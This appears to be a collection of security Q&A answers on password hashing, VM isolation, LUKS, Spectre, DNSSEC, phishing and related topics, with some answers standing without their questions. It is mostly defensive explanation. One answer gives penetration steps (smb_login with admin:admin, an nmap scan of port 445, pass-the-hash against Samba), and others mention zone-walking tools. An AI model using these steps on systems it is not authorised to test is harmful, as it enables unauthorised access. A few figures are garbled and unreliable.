Has scrypt gone through enough testing to be considered secure?

Yes. Scrypt can be used securely. There are two sources of potential security problems: weaknesses in the algorithm design and errors in the implementation.

The design of scrypt is relatively simple, so implementation errors will be the only thing that could shock us at this point.

(Issues like buffer overflows, parsing mistakes, or use-after-free bugs. These are things to look out for, but they're not things particular to password hashing code. You are far more likely to find dangerous bugs in your operating system, web server, browser, or OpenSSL.)

As for algorithm weakenesses, there is no question that scrypt is better than bcrypt or PBKDF2. There is just one problem that makes it unsuitable for basic web app authentication. It was designed to be a key derivation function used for file encryption. It's not flexible enough for other uses, where time or memory may be more scarce.

That's why the password hashing competition was held. To improve upon scrypt. Developers should be incorporating Argon2 v 1.3 into new projects and should plan to make upgrades possible if they're curently using an older algorithm. (The only strong justification to consider using something else is if you're developing for a platform that inherently has extremely limited memory.)

There is no need to panic if scrypt is being use correctly in certain projects. Encrypted data is safe if you used a strong password and a large enough iteration count. Encrypted data is also safe if you used a unique (single use) and unpredictable password, regardless of the iteration count.

But what's bad about scrypt?

It has a single cost parameter. You cannot increase memory use without increasing run time.
It's time-memory-trade-off allows a password cracker to decrease memory. Cutting memory by a factor of n only increases run time by  a factor of n.
It takes more time to fill memory than Argon2 (on existing x64 platforms).
It would be easier to improve scrypt cracking hash rates using specialized hardware than it would be to improve on Argon2 hash rates.

So how do you use scrypt securely?

Make sure to set the iteration count high. Try to use a few gigabytes of memory.
Use randomly generated salts.
Use a trustworthy implementation. Not just any GitHub project. Keep up to date with security updates.
Design software such that you can increase parameters or migrate to a different hash algorithm.

The above four points are also applicable to using Argon2, but it's safer to use more or less time and/or memory. The advice for selecting parameters that accompanies version 1.3 of the PHC Argon project is good.


What are the techniques to know if VPS cloud hosting provider is accessing my data?

No, this is impossible.

They can bypass the OS and any other code you have running by simply cloning the hard-drive and looking at it.  Even if the drive is encrypted, they control all the ways you would get a decrypt key to the box ... so they pretty much have that too.

Only way you can have data on a VPS and not have the possibility of the VPS host have access to it is to encrypt it before it is sent to the VPS, and decrypt it after it comes off the VPS.


Am I safe if I run untrusted applications inside a Virtual Machine

Escaping a virtual machine does not require skill. It only requires that:

A known vulnerability exists in the VM.
The attacker downloads and uses the exploit.

The Internet is a fabulous thing; it allows people to do a lot of things that they don't actually understand.

In any case, if you dutifully apply security updates to your VM solution (i.e. when VirtualBox tells you that a new version available, you don't tarry: you download and install that new version right away), then risks of a successful escape are slim. An "unskilled" attacker can only apply known exploits for known vulnerabilities, and the VM vendor also keeps track of such vulnerabilities. The relevant notion here is that of a Zero-day: an attack that the attacker knows of before everybody else; your assumption of "unskilled attacker" really means that the attackers cannot use zero-day vulnerabilities.

That being said, while you can assume that your VM is robust, there still are risks of mis-configuration. VM solutions, in particular VirtualBox, allow for "shortcuts" between the guest and the host. VirtualBox calls these guest additions. In particular, these allow for shared folders; but also mouse integration, clipboard access, 3D graphics fall-through... these are so many escape routes by which hostile guest code could impact the host.

An important point is that "guest additions" are drivers installed in the guest, which exercise extra functionalities offered by the VM. If you do not install the guest additions, then the escape hole may still be there, ready to be used. For instance, to prevent an hostile guest from accessing shared folders, you must disable it (or not enable it) from the VM settings.

Similarly, if you let the VM use the default network settings (NAT), then the hostile code can do network calls to other machines within your local network.

Therefore, you must review all VM settings to make sure that you deactivate all features that could allow for an escape or unwanted impact outside of the guest. In particular, take care of the network configuration (it is simpler if you deactivate it altogether, or use internal networking).


Account lockout with human interaction required to unlock

I agree - the hard account lockout can be used by malicious users to DoS (Denial of service) legitimate user accounts. Depending on the sensitivity of the user accounts a time based lockout may be more appropriate. For similar applications our company uses a time-based incrementing approach.

For example, the first time it locks out after 3 incorrect passwords it locks for 10 minutes. If it is locked again it locks for 20 minutes. The third time 40 minutes. And so on, this incrementing time makes it time consuming for automated brute force attempts and will give significant time to the sys admin / security team to identify an attack. Without the time based lockout a brute force attack would be possible in a number of minutes, and with the hard account lockout it would cause a headache for the support team.

One question would be can you easily enumerate usernames of the application. If you can then point this out to the support / development team as a malicious attacker could easily do the same and lock out every account in the system.


How am I able to use Input Director when one machine is VPN'd into work?

A VPN doesn't necessarily make your machine isolated; you want a firewall for that.  A VPN just opens up a new way to access the Internet, either for some sites or for all sites.  It's up to the VPN software how it handles this.

If you want to ensure that your machine is not accessible to the outside world, then I suggest installing a firewall.


Phising test failed e-mail to my personal account, how does this scam work?

A few possibilities I can think of.

1: Your employer pays for cyber security auditing, and included your personal email under your information.

2: It is possible that this is a precursor to an attack and you are just someone's guinea pig.  Emails can be embedded with things like X-Confirm-Reading-To or Disposition-Notification-To in the header to let the sender know how far his email got.  This means that the attacker knows that whatever he did validated through SMTP and anti-spam protection and that you opened his email.  If he's trying to build a list of marks for a future spam campaign, something simple like this would help him keep a small cross-section on his outbound list to avoid spam filters for longer.

3: What you are receiving is redacted.  Your accounts security features striped out whatever the real threat was; so, now all you get is the taughtning message.

4: There is a payload that runs on opening the email that you just can't see.  You don't generally hear about these very often anymore, but doesn't mean they can't still exist.


What's the typical approach to caching invalid authentication attempts?

The generic approach for a cache is to keep it in sync with the database. Right now you have some system, with RAM, that can decide whether a username+password is correct or not by checking with regards to its RAM contents, letting it flow to the database if the information is not in RAM (or is deemed too old in some way). If you can arrange for password updates to go through the same way, then you can make sure that whenever a password is changed, then the RAM contents are up to date; a simple implementation would look like this:

The RAM cache contains tuples (user, password, ok, age) where "ok" is a boolean value ("true" for: user+password match, "false" for a known mismatch), and "age" is the date at which the information was last used.
When a login attempt for user "Bob" and password "p@ssw0rd1" is made:

If the RAM cache contains a triplet ("Bob", "p@ssw0rd1", z, age) then update age to the current date and time, and return z ("true" on authentication success, "false" on authentication failure)
Otherwise, do the verification with the hash value stored on the database, yielding the result z ("true" or "false"); store ("Bob", "p@assw0rd1", z, now) in the cache, and return z.

When user "Bob" changes his password, remove all tuples ("Bob", *, *, *) from the cache.
The cache has a limited size. If the cache is full and you want to insert a new tuple, remove the oldest one (the one for which the "age" field is farthest in the past). This is called LRU caching (as in "Least Recently Used").

There is no specific reason to treat positive and negative hits differently; either contains an interesting information. Note that there is no need for a time limit here; as long as the cache is updated (or merely flushed) when there is a password change, there is no problem in keeping cache entries for arbitrary amounts of time.

If you cannot update the cache upon password changes, then you need to set a short timeout so that cached information is not used if it is older than, say, 20 seconds (as you envision). There again, positive and negative hits need not be handled differently; in fact, it can be argued that caching negative hits (user+password mismatch) is necessarily safe since, at worst, it keeps users out; caching positive hits can, on the other hand, allow people entry with a password that has been invalidated (though with a 20 seconds timeout, the vulnerability window is quite small).

Summary: caching authentication failures is good, because it is fail-safe (it won't grant entry when it should not). Keep in mind, though, that it won't thwart DDoS: a DDoS-ing attacker will simply send many requests with random passwords, i.e. requests which are never in the cache in any case. Caching authentication failures helps against involuntary DDoS, when a user has entered the wrong password but does not understand it, and clicks on "refresh" repeatedly.


Where should 'reset password' functionality be?

From my experience, it is always recommended to have all identity-based operations in one place. In your use case it is AuthN service which manages the identity.

I would also adice to taking a look into biggest gamers on this market: Google Account, MS Azure AD, GitHub, Twitter. If  you have application which uses those identity providers to authenticate users, the reset password feature (and others) are performed on the identity provider. I believe that thay cannot be wrong. What more, also providers of Identity providers solutions like Ping, Auth0, or KeyCloak, are providing own services for this tasks.

The same thing is also in your case. If your are presenting your own Identity Provider (IdP) for your app so you possibly think of possibility to create other client apps which also be using the same IdP. Would you implement "forget password" in that application separatelly? I belive you would not like to repeat yourself. You can implement all forget-password feature best practices in one place and than your would not have bother on any other app.

Summarizing, I recommend to implement that on Auth Server.


Vulnerabilities of using HMAC of random ID as shared secret?

HMAC is a fine candidate for generating keys like that.

After some digging I found this book, which calls the technique "Algorithmically Generating Symmetric Keys from One Base Secret", and which specifically recommends using HMAC: https://www.safaribooksonline.com/library/view/secure-programming-cookbook/0596003943/ch04s11.html

  [To create a key,] mix a base secret and any unique information you have available, passing them through a pseudo-random function (PRF), as discussed in the following section.

They later call the "unique information" the distinguisher. For our purposes this is equivalent to the randomly-generated id.

They go on to list several different options for a PRF, including hash functions:

  [...] a one-way hash is often good as a PRF.

They expand a little bit on the idea of using a hash function as a PRF:

  [...] you can concatenate a base key with unique data and pass the string through SHA1.

The above quote is similar in principle to the definition of HMAC. Indeed the authors cite HMAC specifically as a candidate:

  The easiest way to get a solid solution that will resist potentially practical attacks is to use HMAC in counter mode.

This quote is in the context of generating keys longer than the hash block size. Counter mode just means to append a sequential number to the distinguisher as you generate key data. The purpose of a counter is to keep the HMAC's input unique so that the concatenation of output blocks (for the purpose of generating a long key) isn't simply repeating.

For our purposes, there's no need to use counter mode unless the secret needs to be longer than the hash block size.

In the author's words:

  If a [generated] key is compromised, it should be impossible to recover the base secret.

They also mention an additional benefit:

  Multiple entities in the system should be able to compute the same derived key if they have the right base secret.

Q.E.D.


Azure B2C is completely a PaaS service, no way/need to host this onpremise.
Both handle the users and the login screens.

Regarding B2C vs ADFS:
B2C is for all external customers.
ADFS is a wrapper around your corporate AD, so that is not so suitable for external customers.


why does google.com redirect if URL contains /amp followed by a schemeless domain name and optional resource?

Google's FAQ about this topic includes:

  [...] Some members of the security community argue that the
  redirectors aid phishing, because users may be inclined to trust the
  mouse hover tooltip on a link and then fail to examine the address bar
  once the navigation takes place.

  Our take on this is that tooltips are not a reliable security
  indicator, and can be tampered with in many ways; so, we invest in
  technologies to detect and alert users about phishing and abuse, but
  we generally hold that a small number of properly monitored
  redirectors offers fairly clear benefits and poses very little
  practical risk.

They apparently have sufficient business reason to offer the redirects to continue offering it as a service, and dealing with the fallout from offering it.


Mapping of encrypted to decrypted blocks in LUKS

LUKS is built on dm-crypt. The format of LUKS is basically a header that precedes the encrypted data (the actual data being shifted by an "offset" (see man cryptsetup) to allow the header to be stored in frot of the data. The data is still encrypted with dm-crypt and it is possible (assuming knowledge of the key) to open a LUKS volume using only plain mode commands.

So LUKS only offsets the data - it does not change how the data is encrypted.

What LUKS gives you is a way to store up to eight copies of the encryption key securely in a header, with each copy encrypted by another key derived from a user-given passphrase.

The added strength of LUKS is it generates the master key and can therefore ensure that the key is stronger than one provided by the end-user. Also, it employs "PBKDF2" to derive the keys used to encrypt the data key from the passphrase and "anti-forensic key splitting" to more securely store that encrypted key material.

Furthermore, you can "detach" the LUKS header (i.e don't store it with the data) in which case the above-mentioned "offset" would be zero.

To settle your FUD, if the LUKS header is corrupted or lost then you will lose the encryption key for the data and, consequently, your ability to access that data. The solution to this is to take a backup of the header.

If the corruption is in the data itself then there will, as you say, be an exact 1:1 mapping between damaged encrypted and decrypted sectors.


What are factors in evaluating the fitness of a security questions?

Security questions are an example of security theatre. You can consider them a very weak form of password at best, and they are often readily guessable.

If you are going to use them, make sure they are ones that have the following characteristics:

they have many possible answers  (city names are terrible for this, especially in countries that have relatively few large cities like Australia)
the answer does not change over time (so favourite anythings are out)
is not easily obtained via social media or other online information

You also need to consider your user base. It is amazing how many things you forget as you get older.


What is the point of HIPAA de-identification + re-identification?

Note: I can't give legal advice. This is speculation. I'm not qualified in this area so I also don't know whether this is accurate.

I believe that it's common for clinics to draw patients' blood but send the sample to a third party lab for testing. The people doing blood tests don't need to know who the sample belongs to, but the doctor needs to know that information once they receive the results.

You could de-identify the source of a sample by replacing their name with a randomly generated number. The samples sent to the lab are (pseudo)anonymous. The lab should not be able to tell who a sample belongs to.*

When the doctors get back the test results they need to determine whose test results they are. They determine that by re-identifying. They replace the random number back with the patient's name. (Or ID number.)

I think the last part means that if you leak this mapping function or it's inverse, then it has to be treated as if you leaked the patient's name.

I see this is kind of similar to blind signature algorithms.

* But... what about DNA?


Spamhaus.org do this for free.

The other main companies that do this (trusteer, markmonitor etc) do provide feeds of various types. Well worth asking them what type of feed you can get from them. Of course, they will all be cost options.


Potential Risks Using Reference Code Based Authentication For Web Based Application Form That Contains SSN

First of all, I wonder if your form is so long that it actually makes sense to implement all of this rather than simply have the user fill out the missing details.

Second, you don't mention the country, I will assume you are targeting United States citizens.

Moreover, not everyone there has a SSN, so I will further assume that people without one cannot enroll there.

Your requisites are

  the user must then enter the 6 character reference code as well as their birth date, last name, and last four digits of their SSN

I don't really like the way this came out. Apparently, someone came up with that as an authentication method, and then you have to verify if it's secure enough for your needs, rather than actually designing the authentication after your system.

According to the 2010 US Census, there are 2,442,977 people with a surname of Smith out of 308,745,538, which means that every week there will usually be between 1 and 2 people (1,58) with that last name in your platform.

Using only the last name would obviously have been a bad idea. But what about the other items that are being mixed? The date of birth will be roughly spread through the year (unless this is a membership application for a leaplings association!), and the SSN would appear to further distribute that. Alas, it is long known that Social Security Numbers are Not Random, and based on birth date it might be possible to predict the SSN, so as a security measure I don't think you should be relying on those 4 digits.

All of these are public data anyway, and -even when using the full names- are inherently flawed ways of identification, leading to mixup stories such as the one of Lisa Davies or Jessica Ishak. The whitepaper The Trouble with Names/Dates of Birth Combinations as Identifiers concludes that 8.3% of people aren't uniquely identifiable by names and DOB.

However, you have an extra ace to play here which is the 6 character reference code. Presumably, you would generate it in a way that two people with same name and date of birth would receive different reference codes. Preferably, giving out different reference codes to different people. This is the strongest piece we can rely on.

These reference codes must be generated in some random way, certainly not a sequential code. Assuming you were not including vowels in order to avoid generating words deemed offensive, and even ignoring numbers, you have 216 = 85,766,121 combinations. Ample enough to give an unique code to each user, and have the entries so sparse that it would be hard to guess a valid one (assuming you use an adequately random generator).

Thus, you can do a proper job using only the stated reference code. You should however take bruteforce protection into account on the resumption form, so that for instance users get asked to fill out a captcha instead of the other stated data, and include throttling limits on multiple attempts of resuming invalid codes.


Localhost intercept not working for burp suite

As you can see in the screenshots you provided, your Firefox is configured wrong. The bottom section states

  No proxy for:

localhost, 127.0.0.1

This means that Firefox will ignore proxy settings for these addresses. Since you explicitly want to intercept traffic going to these addresses, remove them, and it will work.


High security application in Angular - a bad idea?

The browser should be trusted with the user's data in any case. Whether you use a single-page app or a plain HTML page, you are toast if the browser is compromised. Single-page apps do not change anything in this context.

Single-page apps can however extend the potential of a server-side vulnerability - since you're now offloading some of the processing to the client you may sometimes forget to properly validate the incoming data server-side, or send data the client isn't supposed to see, relying on the client-side app to hide it (a malicious attacker would modify the client to not hide such data).

In terms of any properly developed app, it should be well-tested and audited in any case so that any mistakes would be caught before going live.


Is AES + MAC more secure than encrypting plaintext along with its hash

There are many small catches when it comes to the order in which to encrypt and MAC.

Encrypt-then-MAC in addition to being most secure has additional advantages. For example, when you receive a message, you first confirm the MAC. If it does not match, you don't even start the decryption. This makes it faster (less resource intense).

While it may be possible to devise a fully secure MAC-then-encrypt scheme, if you have to ask this question, you don't have the skill and knowledge to do so (Neither do I, very few people do). It is recommended to use Encrypt-then-MAC, because it is much easier to use securely.


Shouldn't user content return 403 forbidden?

This is called capabilities-based security and it's a good option when you have highly distributed shared content.

All users that require access are given a unique URL which is equivalent to a token.

The drawback is that if the "token" is leaked unauthorized users will be allowed to access the content, but the scope can be limited by expiring the tokens, and in any case it's used for semipublic content only.

Also, for social network content like images the mechanisms by which the tokens can be leaked is the same mechanisms by which the images themselves can. The token is not guessable (or at least shouldn't be)

I believe the answer here is official by Facebook.


How can I tell if a DNSSec zone is protected using NSEC3 (versus NSEC)

If you're willing to rely on an online service (and don't mind one that is pretty picky), the DNSSEC Checker will warn (among other things) about zones that don't use NSEC3.

To check by yourself, simply query a non-existent domain and look for either an NSEC or NSEC3 resource record in response.  An example query would be dig +dnssec -t any xyzzy14.sdsmt.edu (for a zone using NSEC3) or the same query at xyzzy14.berkeley.edu to see NSEC records.

Also, note that NSEC3 does not fully protect DNS zones from being enumerated.  Indeed no DNS server has ever been immune to that, since attackers can always do a dictionary attack by just querying for names they think might be there.  Use of NSEC3 allows an attacker to speed up the dictionary attack and do it more privately offline.  They retrieve all or most of the NSEC3 records by querying for non-existent domains, and thus get the hashes of all the hosts in the zone.  They then do an offline brute-force attack on the hashes.  Tools even exist to do that, e.g. nsec3walker. But NSEC3 is still much harder to enumerate than NSEC, and you can set the iteration count for the hash to a high value if you want to make it more expensive.


what fails in speculative execution that allows the read of memory out of bounds in Spectre vulnerability vs. normal CPU behaviour?

Simplifying things a little, the problem is that something like

if (*p1) x = p2[256 * *p3];

may be processed as:

start loading *p1 into t1.
load *p3 into t2, and set t3 to 0 if it's a valid fetch, 1 otherwise.
load *(p2 + t2*256) into t4
wait for t1..t4 to be ready
if t1 was set, then...
  if t3 is set [access was invalid] then fire an invalid access trap.
  otherwise copy t4 into x.
discard t1..t4.

If reading *p1 yields a zero value, the fact that *p3 is invalid must not cause a trap (since code wouldn't actually ask to read *p3).  For whatever reason the designers at Intel thought it was easier to delay checking the validity of the first memory read until after the fetched value was used to compute the address of another speculative read, than to have an invalid memory read immediately force the speculator to assume its prediction was wrong.

Note that the problem isn't that the processor speculatively fetches from *p3.  The problem is that the processor makes use of that value without regard for whether it was legitimately acquired.  While present attacks focus on using the fetched value to compute an address, and then using the cache to find out what address is fetched, the fundamental problem is that the data gets read and latched without regard for whether the access is legitimate.  Any time a device physically fetches data that should be inaccessible will create a potential for side-channel attacks.  The best way to prevent such attacks is to avoid having the device acquire such data in the first place.


RFC 2818 says the following:

  In some cases, the URI is specified as an IP address rather than a
  hostname. In this case, the iPAddress subjectAltName must be present
  in the certificate and must exactly match the IP in the URI.

You should probably be using a resolvable (public or private) domain name for the CN field. It is not advisable to use an IP address for CN as the RFC recommends using the SAN field.


This can happen when a Samba file share has authentication disabled or accepts any credentials. To validate this, try doing a smb_login with random credentials (say admin:admin) and see if accepts those credentials too.
To check if the server accepts NTLM authentication, try performing a nmap target -A -p 445 on the target. If it returns details such as internal domain name (NetBios,FQDN,etc.) of the target organisation. If it does, then you should be able to pass the hash to the Samba share.


How can I prevent abuse of our public WiFi network?

There is no simple solution to preventing abuse of shared Internet lines, especially if you want to make sure the line remains useful for the non-abusive users.

What I mean by that is: Many people using a Wifi will want to send emails from desktop email clients, use VPN connections, messengers or make calls using tools like Skype for example.

If you restrict ports to just the canonical http/https ports you will not prevent any brute force attack against GMail / Facebook / you name it but you will render the Wifi hotspot next to useless for many users. Internet isn't just the world wide web anymore for a long time.

Typical measures which are taken on public hotspots are limitations in terms of the amount of data allowed per unit of time. This usually means to implement some intelligent rate limiting algorythms which are once again far from trivial, because if a client sends 100 MB in a few seconds, this will be perfectly ok if it's a video chat, but you don't want to allow 100 MB of spam being sent out in a minute.

In case you don't have the expertise to deal with these issues on an ongoing basis and you don't think you want to built up that knowledge, one very wise decision might be to delegate this to a company which does that for a living.

I don't want to drop any names here but there are specialized companies in all parts of the world which operate a scheme by which you send all traffic from your customer's guests though a VPN connecton to them and they will sort of malicious traffic and delegate the legitimate traffic to the Internet using their publicly routed IP address and not that of your ISP.

Your ISP will only see the VPN traffic and never blame you (cut you line) for anything which got sent over that link unless the pure amount of traffic becomes an issue. But even that can usually be mitigated in the router firmware which that company you will be working with provides you.


Can I use a code signing certificate as a TLS certificate?

If you have full control of the client you can of course setup your own validation routines and ignore the existing ones. In fact you could just reduce the checks to the validation of the public key of the certificate (i.e. pinning). But it is recommended to stick with existing and proven designs and not to reinvent your own validation since these are critical things and easy to mess up.

Still, considering that you nonetheless want to use the normal validation process  as far as possible and only tune it when necessary there might be more obstacles than just that the subject which does not match the target host name: A certificate has different key usages. For code signing you only need the ability to sign something. But for use with TLS you might also need the ability to use the certificate for keyEncipherment, a feature which is not needed for code signing and which might therefore not be as allowed usage of the certificate. Also, TLS server certificates usually have an extended Key Usage which explicitly allows the use for server authentication while code signing certificates don't need this.

Another problem is that by reusing the code signing certificate for the server you probably expose it more to attacks. Theft of code signing certificates and use of these trusted certificates to sign malware is actually not uncommon and having the private key for this certificate on a host which is maybe exposed on the internet just sounds like a bad idea considering how often such hosts gets hacked.


Do cellphones periodically send a "hello" msg to nearby WiFi APs?

Regarding the "hello" message

This is actually the probe request. Every so often your phone (or laptop etc) will send a probe request to see if any of the access points that it already knows about are around. You can view this in a wireshark capture, and at this link. Control+Find for "Probe Request Frame". You will see that the client (the phone) sends this probe. Inside this probe is the mac address of the device, as well as the SSID (wifi access point name) that it is searching for.

Is the detection device simply a WiFi router with added functionality to record these hello msgs?

Essentially, yes. Any wireless card that can enter promiscuous mode can passively record these wireless probes. So not necessarily a router is needed.

If your wheels are turning and you think "well what if someone just answered 'yes' to all of those probes? Could they attack me?" Although somewhat less effective today, you can start your search on slide 29 here.


Is it possible to create a false charger that drains a device's power?

Certainly is easily possible. Modern smart phones have an USB otg mode, in which they play host to things like USB drives, mice, SDR dongles. In order to do so, they power these devices. So yes, you can design a charger that first charges the phone, and after a while, presumably after the user leaves the device unattended because he's certain it's getting charged, reverse their role.

However, I'm not seeing purpose in that. Discharging a phone is not a security breach. Getting physical access to one is. And as soon as a user leaves their phone unattended, you've got that. Twice that if he also was unhindered by standard security etiquette not to plug in his phone to unknown USB ports.


If the computer runs win emulators sometimes, it can get infected through that.
It is possible, that there is an unreported mac variant already
Probably its just containing the virus, but macs are not affected. In this case your ip is blocked to stop infecting other win machines. It happened to linux machines too in the case of wannacry.
It can also happen that a bot spoofed its ip through you...

Tip: run some scan for the virus, tell all your contacts that they might be infected, change your ip, ask for delisting, and see if youre still blocked. If yes, youre still infected.

edit:

they usually recommend Mac OS users to update everything and uninstall freeware "antivirus" programs which are actually spywares/viruses or cause problem
if you have Liux on Mac, you should install GUFW firewall, clamTK antivirus and chkrootkit + rootkithunter rootkit-detector apps. The latter 2 have false positives, and require update before scan. They were updated recently, but as I saw the false positive for operation windigo is still there - can be confrmed by 3 tests


Extracting the GPG userid from the Public key file?

Use gpg --list-packets [filename] to list all data packets, then grep for user IDs. For example:

$ gpg --export 0xDED9B508F4E10DB2 | gpg --list-packets | Egrep '^:user ID packet'
:user ID packet: "John Doe <john@example.org>"

An alternative would be to use pgpdump

$ gpg --export 0xDED9B508F4E10DB2 | pgpdump | Egrep '^[[:space:]]*User ID'
    User ID - John Doe <john@example.org>


Is CAPTCHA enough to prevent attackers from draining entropy pool?

I'm not aware of any publicly known attack on predicting future output of /dev/urandom, no matter how much previous data you have already seen from it. It would be possible in theory, that such an attack exists, though. If such an attack exists, it will almost certainly require vast amounts of output in order to make a prediction. Probably much more data than an attacker would be able to extract without bringing down your server or network first.

There are a few other factors that work in your favor and against a hypothetical attacker.

Linux' entropy pool is fed by non-deterministic events such as the timing of network packets. In order to query your server, an attacker has to create network traffic. Since the traffic will go over multiple routers that are not under the control of the attacker, it seems highly unlikely that they will be able to predict the arrival times reliably. Therefore, the attack defeats itself by filling the entropy pool as it is trying to drain it.

Modern x86 CPUs have special instructions (RDRAND) to retrieve physical entropy at an extremely high rate. As the Intel documentation says,

  The [all-digital Entropy Source] runs asynchronously on a self-timed circuit and uses thermal noise within the silicon to output a random stream of bits at the rate of 3 GHz.

While a fast CPU could consume random words at an even higher rate in which case the CPU would fall back to a partially deterministic generator, it is safe to assume that your application won't send out critical data at over 358 MiB/s (equivalent to 3 × 109 bits per second).

Linux' entropy pool mixes in the entropy obtained by RDRAND where it is available. This is done in a clever way such that even in the quite plausible purely conspiratorial case that Intel has put a backdoor into RDRAND on government request, it would be no worse than if the device were not used at all and probably still help somewhat.

In conclusion, I don't think that draining your entropy pool is something you should be concerned about too much at this point. If you still are, there are less obtrusive ways than having your users solve CAPTCHAs.

For one, you could artificially rate-limit your code generator. If you only allow, say, one code per second and IP, your service will still be fast enough for legitimate use but make extraction considerably harder.

In addition, note that /dev/random and /dev/urandom are not only readable but also writable.  From the man page:

  Writing to /dev/random or /dev/urandom will update the entropy pool with the data written, but this will not result in a higher entropy count. This means that it will impact the contents read from both files, but it will not make reads from /dev/random faster.

Hence, instead of showing the CAPTCHA to your users, you could write it to /dev/urandom. Of course, this only really makes sense if the CAPTCHA was generated on a different machine such as when using a service like reCAPTCHA. This advice is of course to be taken with a grain of salt. It would probably make more sense to update your entropy pool with data obtained from a service like RANDOM.ORG.

The thing you should be concerned about is that if your server was freshly booted, the internal entropy pool might not be filled yet. In this case, reading from /dev/urandom will provide poor entropy. One trick to avoid this is to have your application initially read a single byte from /dev/random which will block until the system has harvested some entropy. On systems that have RDRAND (assuming it is not backdoored), this startup issue will be benign as RDRAND needs no warm-up.

If you develop your application using a technology where you can make calls to C library functions, Linux 3.17 and later provides the getrandom syscall which should be preferred over reading from /dev/urandom as it also works if /dev/urandom is not available (for example, because your application is chroot()ed) and, more importantly, doesn't suffer from the startup issue that /dev/urandom has. (getrandom will block until the entropy pool is initially filled.)

A service like RANDOM.ORG can also be used to mitigate the low-entropy situation after startup but I would never depend on a third-party service directly for generating my random secrets. If you want to be safe, assume that everything you download is deterministic and known to an attacker. (In case that has not become clear yet, writing such data to /dev/urandom does no harm. It just doesn't do any good either.)


What are the security risks if my server with github ssh access key is hacked?

I'm fairly certain that the SSH keys do not grant the user any GitHub-specific privileges; actions can only be taken in the scope of what git allows on the server, which shouldn't include account-related actions.

However, it may be possible for them to overwrite your commit history and force-push. I'm not sure if this would be permanent damage.

Personally I'd be more worried about unauthorized commits, e.g. backdoors added and such.


The advantage of using an HSM to store your secret keys is that the actual decryption keys will never leave that module. Even when an attacker will be able to obtain the access keys to the HSM, they will still need physical access to the HSM in order to do any decryption.

Contrary, a normal software stored key/passphrase is easily copyable information which can be used for decryption anywhere in the world without you even noticing.

An additional advantage of using an HSM is, that they often (at least the expensive ones) offer an audit trail. So even if an attacker can get access to it and decrypt some data, you will be able to detect it.


Handling User Permissions Between Front-end and Back-end

I am less used to angular frontends, but this as always been a question: should the control of user permissions be done client-side or server-side?

The answer was (and IMHO still is) that client side and server side controls serve different purposes:

client side controls help in customizing the UI to only present what the user is allowed to use. The ultimate goal is to avoid the user getting an error because they naively clicked on an apparently valid button
server side controls are there for security reasons.

Even if you can control the UI client side with Angular or other Javascript frameworks, you cannot prevent an attacker (or a user thinking themselves advanced enough...) to analyze the data exchanged between the browser and the server and send forged requests. It is often realized in a legitimate goal to automate some processes, but can have terrible security consequences if the security was implemented client side.

TL/DR: implementing validation controls client side is good practice and generally provides user a better experience, but security has to be implemented server side, so for your question, at API level.


How to explain "the k-anonymity model used by HaveIBeenPwned for pwned passwords doesn't expose your passwords" to a layman?

You should not try to convince anyone that they should enter their password on haveibeenpwned.com, because the explanation would just be "Troy Hunt can be trusted!", and that's very hard to justify. Then somebody might start wondering: "Ok, since Troy Hunt can be trusted, who else can be trusted? Microsoft? Google? Zuckerberg? My bank? Wallmart? The guy from the repair shop, oh he's always so nice to me?". Also, even if Troy Hunt was the most honest person on earth, can't he make mistakes? Can't he be attacked, and his systems be compromised?
So I would suggest using the API, which doesn't require sending your password.
https://api.pwnedpasswords.com/range/{first 5 hash chars}

Then you need to explain to your layman friends that hash functions (or more precisely, secure hash functions) are not invertible unless you use brute force. So the point they have to understand is that secureHash('password') produces a random string, and by knowing one character of the string it isn't possible to predict the next one (or the previous one). They can compute the hash using tools present on their machines by default, like sha1sum or the equivalent for Microsoft (certUtil, maybe?). So by sending the first 5 characters of your hash to that API, they are not giving out much information about their password.
As for the email addresses, giving them to Troy Hunt or anybody else is not a big problem. A good spam filter will protect them from most threats anyway (and if they use Gmail or Hotmail/Microsoft they are already protected by a good spam filter). Their email address is probably already in some database of leaked data anyway, or it might end up there soon, unexpectedly, and there's no way for them to avoid it (because it depends on somebody else's security practices).
That said, if you want to convince a "layman", your mileage may vary. Most people only believe what they want to believe. Some might believe you, but that doesn't mean they truly have understood what you explained. Security is a complex subject.


Are services such as ProtonMail as secure as using Thunderbird and a PGP key?

Yes, there are security differences compared to using a mail client. When using ProtonMail, you have to trust them on each of your visits that their website (and your connection to it) is not compromised.

Technically, ProtonMail offers a security scheme that's comparable to Thunderbird with a plugin for OpenPGP (see Enigmail). That is, your emails are encrypted on the client side (before they leave your browser) and ProtonMail can't possibly hand over your credentials or emails to the authorities on demand or lose them to an attacker, since your data never reaches their servers in plain text. (See their page on security details.)

But, while ProtonMail can't access your data now, they could change the client-side logic at any time without you noticing. This could be caused by an attacker, a rogue employee, or maybe a government order. In practice, a simple change to the Javascript shipped for their login screen would suffice to grab your credentials during login and redirect them somewhere else instead of keeping them in the browser as promised. Similarly, they could deliver malicious JS that redirects your emails once they are decrypted and displayed. Such an attack appears much more practical and easier to hide than attacking your TB client by shipping malicious code in a rogue update.

But also note that you have to trust the client-side code you download either way. When using Thunderbird, that means trusting the code of the TB client and the Enigmail plugin (and their regular updates). When using the web service, that means trusting the shipped markup and JS your browser downloads on each of your visits.


Does cPanel store my login password as plaintext

I just logged into cPanel and when I click to change my password it asks me for three things:

My old password
A new password
Confirmation of the new password

Screen Shot:

It also says that the old password cannot be empty.

This may not be exactly how cPanel does it but, it is a possibility:

Since you have sent it your old password to cPanel it can hash it and see if it is equal to your password while still storing a copy of your unhashed password (in memory not on disk)
Now since it has confirmed your old password hashes to the correct value it can perform tests on the plain text version (that you just barely sent it) and give an error if one of the tests fails
If the new password and confirmation match store the new password.

Answer as to why it knows your old password:

You just gave it to it so it knows your previous password and stores it in RAM (not on disk).  This is assuming that you are referring to your last password (the one that you're currently changing) and not to one that you used in a prior iteration.


Security Advantages of Azure Sphere vs other embedded OS

Azure Sphere is not just another IoT operating system, but a unique combination of secure hardware (with a separate security core), secure OS (based on Linux), and a cloud security service. The proprietary hardware for example ensures that an application cannot hack the OS and the application can only access specific authorized servers.


Try tpm-luks [1], which is a script that will assist in storing a new secret both in the TPM's NVRAM and a LUKS key slot.

This should do the trick:

$ tpm-luks -c -d <device>

You can find your LUKS device with:

# blkid -t TYPE=crypto_LUKS

I released tpm-luks very recently, so its only available in git ATM.

[1] https://github.com/shpedoikal/tpm-luks


Is the Mirai malware attacks related to the TR-069 is a classic port attack?

I have no idea what you consider a "classic port attack" but this attack uses a security problem at the application layer and is thus more comparable to  attacks against web applications. In fact this is an attack which uses a security problem in the processing of a SOAP request delivered through HTTP.

